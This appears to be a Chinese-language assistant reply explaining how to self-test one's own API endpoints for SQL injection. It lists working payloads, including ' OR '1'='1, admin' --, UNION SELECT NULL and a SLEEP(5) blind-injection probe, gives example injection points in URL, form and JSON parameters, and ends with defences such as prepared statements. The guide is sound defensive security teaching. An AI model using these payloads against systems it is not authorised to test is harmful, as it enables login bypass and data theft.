目录
[1. 最简单的判断测试(最基础)](#1. 最简单的判断测试(最基础))
[2. 恒真测试(判断是否可绕过逻辑)](#2. 恒真测试(判断是否可绕过逻辑))
[3. 注释测试(判断是否能截断 SQL)](#3. 注释测试(判断是否能截断 SQL))
[二、常用安全测试 Payload(无破坏性合集)](#二、常用安全测试 Payload(无破坏性合集))
我会给你合法、用于安全自检的 SQL 注入测试方法 ,仅适用于你自己拥有权限的系统 / 接口,严禁用于未授权系统!
一、核心测试场景(最常用、无破坏性)
专门用于检测接口是否存在 SQL 注入漏洞,不会删库、不会破坏数据。
1. 最简单的判断测试(最基础)
在接口参数中传入:
'
判断规则
- 返回数据库报错 (如
You have an error in your SQL syntax)= 大概率存在注入 - 返回正常结果 / 屏蔽报错 = 可能安全
2. 恒真测试(判断是否可绕过逻辑)
参数值:
' OR '1'='1
作用
-
若接口直接拼接 SQL,会变成: sql
SELECT * FROM user WHERE username='' OR '1'='1' -
结果:返回全部数据 / 登录绕过 = 存在高危注入
3. 注释测试(判断是否能截断 SQL)
参数值:
sql
admin' --
admin' #
作用
-
把后面的 SQL 语句注释掉,常用于登录绕过:
sqlSELECT * FROM user WHERE username='admin' -- ' AND password='xxx'
二、常用安全测试 Payload(无破坏性合集)
适合GET/POST/JSON 接口参数测试:
'
"
' OR 1=1--
" OR 1=1--
' OR '1'='1'--
admin' --
' UNION SELECT NULL,NULL--
' AND SLEEP(5)-- (盲注测试)
三、不同接口位置测试
-
URL 参数
https://xxx.com/api/user?id=1' -
POST 表单参数
username=test'&password=123 -
JSON 接口
{"username":"test'","age":18}
四、安全判断标准(你可以直接用)
| 现象 | 结论 |
|---|---|
| 直接返回数据库错误 | 高风险,存在注入 |
输入 ' OR 1=1-- 返回全部数据 |
高危注入 |
输入 ' AND SLEEP(5)-- 延迟 5 秒响应 |
时间盲注漏洞 |
| 无论输入什么都正常 / 统一报错 | 大概率安全 |
五、防御方法(开发必看)
- 使用预编译语句(PreparedStatement)
- ORM 框架(MyBatis/MyBatis-Plus 用 #{} 而非 ${})
- 参数过滤与黑名单
- 关闭数据库错误回显
总结
- 我提供的是自检用安全测试方法,仅用于你有权限的系统
- 最基础测试:参数加
'看是否报数据库错 - 最有效测试:
' OR '1'='1看是否返回全部数据 - 安全开发必须用预编译 / #{} 防止注入